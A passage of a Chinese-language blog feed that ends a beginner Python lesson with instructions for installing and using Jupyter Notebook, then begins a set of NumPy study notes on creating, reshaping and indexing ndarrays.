<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Follow @deanliu &amp; @antonsteemit, and learn Python with Steem!&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Follow @deanliu &amp; @antonsteemit, and learn Python with Steem!
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 看看神奇的Python之禅</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">this</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">The Zen of Python, by Tim Peters
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Beautiful is better than ugly.
</span></span><span class="line"><span class="cl">Explicit is better than implicit.
</span></span><span class="line"><span class="cl">Simple is better than complex.
</span></span><span class="line"><span class="cl">Complex is better than complicated.
</span></span><span class="line"><span class="cl">Flat is better than nested.
</span></span><span class="line"><span class="cl">Sparse is better than dense.
</span></span><span class="line"><span class="cl">Readability counts.
</span></span><span class="line"><span class="cl">Special cases aren&#39;t special enough to break the rules.
</span></span><span class="line"><span class="cl">Although practicality beats purity.
</span></span><span class="line"><span class="cl">Errors should never pass silently.
</span></span><span class="line"><span class="cl">Unless explicitly silenced.
</span></span><span class="line"><span class="cl">In the face of ambiguity, refuse the temptation to guess.
</span></span><span class="line"><span class="cl">There should be one-- and preferably only one --obvious way to do it.
</span></span><span class="line"><span class="cl">Although that way may not be obvious at first unless you&#39;re Dutch.
</span></span><span class="line"><span class="cl">Now is better than never.
</span></span><span class="line"><span class="cl">Although never is often better than *right* now.
</span></span><span class="line"><span class="cl">If the implementation is hard to explain, it&#39;s a bad idea.
</span></span><span class="line"><span class="cl">If the implementation is easy to explain, it may be a good idea.
</span></span><span class="line"><span class="cl">Namespaces are one honking great idea -- let&#39;s do more of those!
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="补充笔记本">补充（笔记本）</h2>
<p>好高兴，今天的Python课程学完了。<br>
但要是课后的玩耍的时候玩过头了，把今天学的知识忘了怎么办？<br>
嗯，好学生都有会记笔记啦，忘了就翻翻笔记。<br>
我准备了个笔记本，叫 jupyter notebook，就用它记录每天学到的Python知识。</p>
<p>看看这个笔记本长什么样吧：</p>
<ul>
<li>运行在浏览器里，和我们打开的网页一样：<br>
<img loading="lazy" src="https://ipfs.busy.org/ipfs/QmS9CCyt6BtKSNX2bDwgBmc5Ag4wQTSknsbf5zEbP7QpNP" alt="图片.png"  />
</li>
</ul>
<p>可以用markdown语法记笔记，还可以直接在笔记本上运行Python程序<br>
<img loading="lazy" src="https://ipfs.busy.org/ipfs/QmaoCi9h6cTNqvgFCaNz9fakU9QHUZcgYFUThSHKobHRaG" alt="图片.png"  />
</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmSA6MPr7yyoqD4DvrFgEVSyo9i9Yc1kfMaZn1yxVppnaL" alt="图片.png"  />
</p>
<p>那如何安装这个笔记本呢？</p>
<p>步骤如下：</p>
<ul>
<li>打开Windows下的命令提示符程序cmd：</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmTmvxE2EVMrP9DT8YDTB2M91dtTi3bt19qUAPSwArjFYP" alt="图片.png"  />
</p>
<ul>
<li>输入下面的命令后，回车：</li>
</ul>
<blockquote>
<p>python -m pip install jupyter</p>
</blockquote>
<p>如果出错，尝试这条命令</p>
<blockquote>
<p>pip install jupyter</p>
</blockquote>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/Qmcn6emMCeCwKJ5jSETGTXaL4YmXtvWEqFngoaiRf1Frxy" alt="图片.png"  />
</p>
<p>这样就安装好了。</p>
<p>那如何使用这个笔记本呢？</p>
<ul>
<li>在命令提示符程序cmd里输入命令:</li>
</ul>
<blockquote>
<p>jupyter notebook</p>
</blockquote>
<p>然后会生成这么个网址，一般会自动在浏览器里打开，如果没有，可以自己手动复制粘贴到浏览器里打开</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmNVTM16YQcLxiraCLDbsVjKmnSnXcVeTYTVyMfAji8phh" alt="图片.png"  />
</p>
<ul>
<li>新建笔记本</li>
</ul>
<p>在右上角new菜单选择Python 3：</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmNxnkRWALB9tcJk6mU6BmyyEKKd9Wss26TQfVZvE7gv89" alt="图片.png"  />
</p>
<p>打开的笔记本：<br>
<img loading="lazy" src="https://ipfs.busy.org/ipfs/QmdpEAmeonmFgSpSiwq1a5qVMekGNsnYVp6W4f58diCmz5" alt="图片.png"  />
</p>
<ul>
<li>笔记示例：</li>
</ul>
<p>输入markdown<br>
<img loading="lazy" src="https://ipfs.busy.org/ipfs/QmeSQbGuoWM9UCJZAh8KMk7jjZbDSRJ5maoMLNxsRcyDiA" alt="图片.png"  />
<br>
按Shift + Enter（回车）或者 Ctrl + Enter（回车）执行</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmZoBEbnXRa9KYasS4DwEricfh4Sd7JXrsF6QD1rY4Rvpp" alt="图片.png"  />
</p>
<p>输入Python代码</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/Qmcu6wFbJgo2d7rv28JoKgb3r1CZHsEeJLdrwgoYWfd1pq" alt="图片.png"  />
</p>
<p>按Shift + Enter（回车）或者 Ctrl + Enter（回车）执行<br>
<img loading="lazy" src="https://ipfs.busy.org/ipfs/Qmek68UwCYBiMzHGTFs6cfCTpdpAr2qxJ7zN9d61845itz" alt="图片.png"  />
</p>
<ul>
<li>导出笔记</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmcjoDY4ePQv2LemSVb93BezQxF8UD1JyaYBLQiWGf6Abj" alt="图片.png"  />
</p>
<p>可以导出多种格式。</p>
<hr>
<p>这篇文章是在这个笔记本里写的，导出为markdown文件，复制到steemit上发表，感觉如何？赶紧把Python玩起来吧！</p>
]]></content:encoded>
    </item>
    <item>
      <title>NumPy 学习笔记</title>
      <link>https://hacperme.com/posts/notes/2018-06-26-numpy_note/</link>
      <pubDate>Tue, 26 Jun 2018 21:01:59 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-06-26-numpy_note/</guid>
      <description>数组 （ndarray）介绍 这个数组我感觉更像是矩阵,官方文档说它是一个多维数组对象(ndarray)。 NumPy provides an N-dimensional array type, the ndarray, which describes a collection of “items</description>
      <content:encoded><![CDATA[<h2 id="数组-ndarray介绍">数组 （ndarray）介绍</h2>
<p>这个数组我感觉更像是矩阵,官方文档说它是一个多维数组对象(ndarray)。</p>
<blockquote>
<p>NumPy provides an N-dimensional array type, the ndarray, which describes a collection of “items” of the same type. The items can be indexed using for example N integers.</p>
</blockquote>
<p>Array 的数据结构：<br>
<img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbYAAACiCAIAAACiW38eAAAP8klEQVR4nO2dPY6sRhdAS5asJ0tjWwRPduCRLLLnyFI7mGgiAseWkGYFaJKRJqvgBU7ZQm2BLRB4A2yBLbCF&#43;oLrLvP1D9N00XBpzgmeprsLbjVUnUcV9C3jAUAZdV1bBTjnuq5b&#43;mAsjFm6AgDwH03T5HnunGvbdum6&#43;KqqiqIoy3LpiiwJigTQgihJ24VbVVXW2qVrsRgoEkAFXdfleb50LU7jnHPOLV2LZUCRACooikLD4PocRVEsXYVlQJEAKhhwUJZlc96lOVkH51xd1zf79npBkQAqGJjvO/jImNhuO7CHc9Xoum6bM5IoEkAFyhU5/NEdgyIBVDBKkc65PM&#43;TJJGPuq7Lsmy32&#43;V5LjfE5R15U8o0TZOmqYzZUeTloEgAFYxSpDyr2HWdyC7PcynTtq3MaYZZxX4ZuSvtnEORl4MiAVRw3UBb/jbGhHspWZbJH/I8Y1EUoczJPVxdjY2AIgFUEKnIrIf3Xv6w1lZVhSJjQJEAKohRZJ7nTdP4/fPnMriWScmmaRhox4AiAVQQo8hwcybLMvGgtVZuzhRFkSSJc65pmlAmTdP4amwEFAmgAiVuUlINPaBIABUocZOSaugBRQKoQImblFRDDygSQAVK3KSkGnq4H0W2beucm&#43;iH/HeO3P0EVdjzAtKQxmK4hnfMnSjSWlsUxTYzkYylbduyLPM815x6a4PoF5D&#43;Gt6Ce1BklmXIcSxd1xVFweWkHvQLSH8Nb8HqFWmtxY/XIZbUtgzAZtEvIP01vAXrVmT40T5cR9M0G1&#43;8SQ/6BaS/hrdg3YrcbCbkCeH/GCXoF5D&#43;Gt6CdStym&#43;dsWjiGStB/IvTX8BagyK3DMVSC/hOhv4a3AEVuHY6hEk6eiH7uidk4tx7sNpsKitw6HEMlnDwRdV2b2TnXJLbZVFDkIVmWDWTTk6BXLLsuv/yJqNet0FmrDYIidYIiD/lQkcaYbJ/7fsLdLsU2271ChhU5w2n6MNY2m4rGTns5U50z51yapsaYoij6LrPWJklijEnTtKoqvzddsORxgZP0rwXquk6SJEkS&#43;agsS2OMc0727JyTT8NXa5pmt9tJiCuuXj9km&#43;1&#43;fpxzP//88/Pz89vb28kn1VCkTlDkvy1DrBQM6L2XRT9kbbkgNUlzv9vtmqY5WeAkXdeJ5uq6lt&#43;0mP16THmeG2Mka/RBNay1XdclSbLb7eq6lq0GRHwd22z3i/D169dPnz5JA/vll19&#43;//33vjFRpE5QpO8LS5QkiqzrWiRV17VcY0r5cAl5rsBJ&#43;hen4lapfJIkeZ6HAv1qyGWjXFr6/WqfUnhCXl9fIxPDwIW8v7//8MMP/Vm/77///uHh4fHxsSzL9/f347ODIhcHRR7OEoaX8ryFNJrgTd9T5MkC4s0&#43;IriDKOHaMBjwZDWstQdT6VdMgw6zzXY/P13Xff78&#43;aeffjq4eAycPBEocnFUK7Lrur///nvgJ4aTnLNzV5EyBJb3ZZgs5YOnThY4J7UDA0pQ&#43;VcSSQxcRZZlWe&#43;ZPDfPNtv9/MjpGyiwdkVWVSW9QMY60lCl/Uun6L88N5UvfUq2lUmtxX8gq1qR3vuvX79&#43;8803xxM3wiTt5txcpJwtu1&#43;sva/INE2bpjlX4CSy56qqRIgy1u4PnKVAmqbWWmlq9v/nIuXGzuRdBUUqYdWKlIYqnUiEKA1bepasxdh/afcLfB9M5cs1gQSSBj/55PtYplHktFM2B/zxxx8H12Xffvvtw8PDb7/99vLyMkn9wx3tLMvkprb3vmmacJtb7Bmm1aXkuQInqapK/sMMZeRluEndH1mfvKPdf3NCUKQSVq3Itm3Fem3bivuCE9M0DQn35GUIZ4&#43;m8mXCfbfbee/zPB&#43;4BTobkylykv0c03Xdly9f5MxdeBNwLYR72fJyqQcnV30M74lVK7LrOmnPZj8vHxTZnz3vvzw31x/6hYZRtleuyK7r/vrrr7GPkulH/qcN97IFFLlxVq3I/ry82O1DRZ6b65ex9o0ecbsC1YpUGzcSaYsyoRneRJEb5w4UKTNOYc7KX6BIezSVL4aVS8vJvlsEKHLrcAyVsGpFhlFzmqZlWcpta//RQPvcVH4Q7mTfLQIUuXU4hkpYtSKnRcm9bAFFbh2OoRJQpCDPVyoZZXsUCRxDJaBIQWYhb5Gx5TpQ5NZRMuMDKFIn61akc07JhMV6QZFKQJE6WbciJbHYIqHvA/ld49K1AO83r0hzgxQtk7BuRXrvy7LkQvI65BcRS9cC/gVFoshbYa9aTGbjtG0b0rGABtauyJPJBEICaXnOMeRwOZcT6GCTg2z/8ijlzLa5B0V6751zRVE458JPnuEckj4gtFdQwtoVmaapyFEe/JYJHLvP&#43;iN/2H3yqpM5gUKGNHOUASjk5B9Yw/ZG3IkiheN0tnCMc65t26XPFRxiV67IkOG06zprrfxURt6UAvIrmoGcQPJHWCu0nwEoXEVO&#43;o0v4q4UCbBe1q7IqqpC5h5Z3MmfmmH8MCdQVVViRtPLALTgAqIoEkAFa1ek0HWdpOoR3/WvIpumCYmoB3ICySYy0AkZgFAkwNZZtSLDkNnuM/fI03jyd5iLLIriw5xAYaaynwEIRQJsnVUrUj4NA&#43;Q8z&#43;Vm4PEd7Q9zAslS8qaXAahtWxQJsHXWrsh7BUUCqABF6gRFAqgAReoERQKoAEXqBEUCqABF6gRFAqgAReoERQKoAEXqBEUCqGBYkWmaZjcmZN9BkX1QJIAKhhU5JyiyD4oEUAGK1AmKBFDBtJ2oruvHx8cJd&#43;i32s1RJIAKpu1Eb29vP/7444Q79Fvt5igSQAXTLlT3/Pw8rSLrut7m8icoEkAF0yry6enJ7NMyToIkDJ9qbysCRQKoQJYVmWpvv/76qzHm7e1tkr21bbvZ1ZhRJIAWwpIvkYT74M/Pz/F7k6UUNrsYHIoEUIQswRa5k7e3N1Hk09NT5K7qut74YsIoEkAXdV1Lwu2reXx8fHh4&#43;PTp03fffXf1ToqiKIpC1nrdMigS4N748uXLP//88/7&#43;/vnz5wnv2GwTFAlwb8i42FrbdR2KjARFAtwn9MpJQJEA9wm9chJQJMB9Qq&#43;cBBQJcJ/QKycBRQLcJ/TKSUCRAPcJvXISUCTAfUKvnAQUCXCf0CsnAUUC3Cf0yklAkQD3Cb1yElAkwH1Cr5yE/xTZdZ3k9rgiKcjT09O1&#43;UQA4CbQK68gz3NrbT855r&#43;KrKoqz/OrE69b/r8CUAa98jqapumnyDTyVmTWdU4GgDbolTGEROum/&#43;JqOBkA2qBXxiDLUXjvzSRrP3IyALRBr4zEWtu2rbFTrP3IyQDQBr0ykqZpnHNmkuPIyQDQBr0yHmstigTQi6yscB0vLy/XbRg/rLwbUCSAasKK2HNCdw58oMjLn7d8fX2NfmZzYrIsu/AoZFk2W63&#43;/PNPYsUzUfuPYp5m8/LyMr8iZ3vmXH&#43;zsR8qMqIJLczllZ/zaxJrXbEGmKca4SpyBiMXRTHzVaT&#43;ZoMix5WMh1jrijXAzIqcIdycsQT9zQZFjisZD7HWFWsAFBmP/maDIseVjIdY64o1AIqMR3&#43;zQZHjSsZDrHXFGgBFxqO/2aDIcSXjIda6Yg2AIuPR32xQ5LiS8RBrXbEGQJHx6G82KHJcyXiIta5YA6DIePQ3GxQ5rmQ8xFpXrAFQZDz6mw2KHFcyHmKtK9YAKDIe/c0GRY4rGQ&#43;x1hVrABQZj/5mgyLHlYyHWOuKNQCKjEd/s0GR40rGQ6x1xRoARcajv9lEKTLLMmOmWYZ78r15FEmsG4Mi49HfbFDkuJLxEGtdsQZAkfHobzYTKNI5lySJJGuSZRRl5TBjTJIkYQ9N00h5KSlr1IaSWZbtdrugSOdcmqbGmN1u999qtvt8UBcmgkSRxLopKDIe/c1mAkWmaSraMsbIYtxZliVJUlVVWZbhcEsBa6211hgjqy&#43;Gv0WUokg5T0VR1HW92&#43;2SJJE08eJcCXfhd7v8KFxYMh5izRPLOSeN7XiNges&#43;uq4a8aDIZWNNoMiwALdc5bVtG1zpvRfHya6cc13XVVUlJb33aZqmaSol5bLRey95PaWNSuGyLGX/ofCF323ykvEQa4ZYITWs/LcaBiJXf3RdNSYBRS4ba8q5SBHfyaU2vPdVVYkEw6g8bHKwtzAeD0g1&#43;oUv/G6Tl4yHWLeO1TTNQfuRIcvVH11XjalAkcvGml6R4Sqyv6Ca917GyG3bdl0XZCdvyuYHV5HH67GhSGJdEuv4P&#43;nQbK776LpqTAWKXDbW9Ir0vbnIqqqSJNntdt77JEnk7o1sJSXFhgNzkVKgqiqPIol1cSz57/ZgFBLz0XXVmAQUuWysmygy3KcW08lkpdz4FkuKE6VkMGZRFMGA4Y52mqbiR48iiXVxrPD4RP&#43;ZipiPrqvGJKDIZWNFKVI5KJJYNwVFxqO/2aDIcSXjIda6Yg2AIuPR32xQ5LiS8RBrXbEGQJHx6G82KHJcyXiIta5YA6DIePQ3GxQ5rmQ8xFpXrAFQZDz6mw2KHFcyHmKtK9YAKDIe/c0GRY4rGQ&#43;x1hVrABQZj/5mgyLHlYyHWOuKNQCKjEd/s0GR40rGQ6x1xRoARcajv9mgyHEl4yHWumINgCLj0d9sUOS4kvEQa12xBkCR8ehvNihyXMl4iLWuWAPMrMiD7Fm3QHJgo8iDrVDkCs4TsZaKNcDMipwTFNnfauhw1HVt18zlR2E2Xl9fiRVJXddXtPXJmefLvry8zK/Ip6eneb6d/mZjhxUJAMvStu1sEom0yV2CIgEAzoIiAQBOI5fwxjkXMnsDAIDgnKvr2nRdF9Z0BQAAQdaPMd77siy5kAQACAQr/rs&#43;l7XWObdolQAAVFCWZbhJ898Shs65oiicc7JmIQDApmjb1jmX53l/VG0OCq39cXEAgKs5fib0UJEAABBAkQAAZ0GRAABnQZEAAGdBkQAAZ0GRAABnQZEAAGdBkQAAZ0GRMDHGmCzLlq4FwDSgSJgYFAn3BIqEEYj&#43;rLXGmDRNw6&#43;1nHNJksjKUEGRTdNkWSbLoWRZ1jSN917ekfJ1XR&#43;8PN6kaRpjjKSl8t7neW6Madt2qSMAWwNFwghEXnmeB0v6/Sp9aZpaa9M0DYoU2clPX4Pm5M00TcWAJ18ebCL7lAokSbLb7ZY7ALA5UCSMwBgTDCU6894XRWGMkYtEuegTRVprJXFUVVUH3pTCxy9PbiK6rKpKdl6W5ezfG7YLioQR9OcZgyLDHwdlqqqSC0AZg/cVGQofvDy5iZgxXFoyyoY5QZEwgpOK7F9Ftm0byiRJkqZp27Zd112oyJObeO/TNJXBOKNsmBkUCSM4qchzc5FJkiRJYq2Vkhcq8ngTvx9rM8qG&#43;UGRMIKTivT/f0dbbnmHN0V5eZ73b9eEHR68PLmJ34&#43;1GWXD/KBIWAfcy4ZFQJGgnaZpyrJklA2LgCJBO&#43;FxdBaeg/lBkQAAZ/kfhnRxC1hX3RsAAAAASUVORK5CYIIA" alt=""  />
</p>
<p>ndarray 是一个通用的同构数据多维容器，数组中的所有元素类型都必须是相同的。每个数组都有一个 shape 和一个 dtype，分别表示数组的维度和元素的数据类型。</p>
<h2 id="创建数组">创建数组</h2>
<h3 id="直接用-nparray函数将其他序列转换成-ndarray-数组">直接用 np.array()函数将其他序列转换成 ndarray 数组</h3>
<p>输入数据可以是列表、元组、数组等序列类型</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 列表</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([1, 2, 3, 4])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 元组</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">((</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([1, 2, 3, 4])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">rank</span><span class="p">(</span><span class="n">a</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">ndim</span><span class="p">(</span><span class="n">a</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">type</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>1</p>
<p>1</p>
<p>i:\python364\lib\site-packages\ipykernel_launcher.py:1: VisibleDeprecationWarning: <code>rank</code> is deprecated; use the <code>ndim</code> attribute or function instead. To find the rank of a matrix see <code>numpy.linalg.matrix_rank</code>.<br>
&ldquo;&ldquo;&ldquo;Entry point for launching an IPython kernel.</p>
<p>numpy.ndarray</p>
<ul>
<li>rank 表示数组的维数</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">shape</span> <span class="c1">#查看维数，shape 是个元组，表示数组大小</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>(4,)</p>
<p>这表示是一维向量，但未指定是行向量还是列向量</p>
<ul>
<li>可以用 reshape 函数指定</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">reshape</span><span class="p">((</span><span class="mi">1</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span> <span class="c1"># 前面的1表示一行，后面的-1是占位符，代表4</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">shape</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 行向量</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>(1, 4)</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">reshape</span><span class="p">((</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">shape</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 列向量</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>(4, 1)</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">reshape</span><span class="p">((</span><span class="mi">2</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">shape</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 两行两列的数组</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>[[1 2]</p>
<p>[3 4]]</p>
<p>(2, 2)</p>
<ul>
<li>NumPy 的数组索引是从 0 开始的</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;--------------&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;--------------&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">88</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>[[1 2][3 4]]</p>
<hr>
<p>4</p>
<p>[[ 1 2][88 4]]</p>
<h3 id="还可以用这些函数新建数组">还可以用这些函数新建数组</h3>
<ul>
<li>ones 创建元素为全 1 的数组</li>
<li>zeros 创建元素为全 0 的数组</li>
<li>full 还可以用 full 函数实现</li>
<li>eye/identity 创建单位矩阵</li>
<li>empty 创建新数组，只分配内存，但不填充值</li>
<li>ones_like 以另一个数组为参数，根据其形状和数据类型创建元素全 1 的数组，类似的有 zeros_like、empty_like</li>
<li>random 创建元素值为（0,1）范围的随机值矩阵</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">ones</span><span class="p">((</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1., 1., 1., 1.],<br>
[1., 1., 1., 1.],<br>
[1., 1., 1., 1.]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">zeros</span><span class="p">((</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[0., 0., 0.],<br>
[0., 0., 0.]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">full</span><span class="p">((</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">),</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 1, 1, 1],<br>
[1, 1, 1, 1],<br>
[1, 1, 1, 1]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
